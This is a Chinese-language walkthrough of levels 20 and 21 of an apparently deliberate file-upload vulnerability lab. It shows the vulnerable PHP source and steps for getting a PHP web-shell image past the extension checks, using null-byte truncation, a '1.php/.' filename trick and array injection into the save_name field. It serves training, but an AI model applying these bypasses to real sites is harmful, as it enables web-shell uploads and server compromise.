(2)單純利用 條件競爭,利用bs 去不斷快速發包,實現條件競爭,進而保留了圖片馬的檔名,成功繞過

第二十關 %00截斷

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上傳出錯!';
            }
        }else{
            $msg = '禁止儲存為該型別檔案!';
        }

    } else {
        $msg = UPLOAD_PATH . '資料夾不存在,請手工建立!';
    }
}

程式碼審計:發現並沒有對大小寫進行過濾,可以直接使用大小寫。

這道題,可以看到名稱是可以自行修改的,我們嘗試上傳圖片馬,並且修改檔名問php字尾,發現並不能上傳上去。

那麼我們嘗試抓包修改上傳名為upload-19.php ,有個.(2e),我們再進入hex把空格的2e修改為00進行截斷,發現上傳成功。

遞迴刪除檔名最後的/.導致繞過了字尾名檢測,在bs中將檔名改為:1.php/. 成功繞過。

第二十一關

原始碼:


```php
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //檢查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上傳該型別檔案!";
    }else{
        //檢查檔名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上傳該字尾檔案!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "檔案上傳成功!";
                $is_upload = true;
            } else {
                $msg = "檔案上傳失敗!";
            }
        }
    }
}else{
    $msg = "請選擇要上傳的檔案!";
}

`

通過審計發現,先檢查檔案型別,後檢查是否上傳了檔名沒有則為檔案的名字,判斷是否為陣列,若不是則以點分割返回一個陣列,取陣列最後一位數為字尾,檔案儲存為reset輸出陣列第一個數,和最後一位數儲存

繞過方法
php修改字尾jpg上傳抓包
檔案型別已經為image/jpeg
修改上傳路徑為一個陣列,當獲取檔案字尾時為jpg,合成檔名為陣列第一個,和最後一個,當我們修改jpg為陣列的2時,1此時是空的陣列一共有三位數,但是實際只有兩位,所有獲取到的值為空
此時上傳後的檔案為upload-20.php.

在這裡插入圖片描述

參考文章:

https://blog.csdn.net/qq_43390703/article/details/104858705
https://blog.csdn.net/Thunderclap_/article/details/108948611

相關文章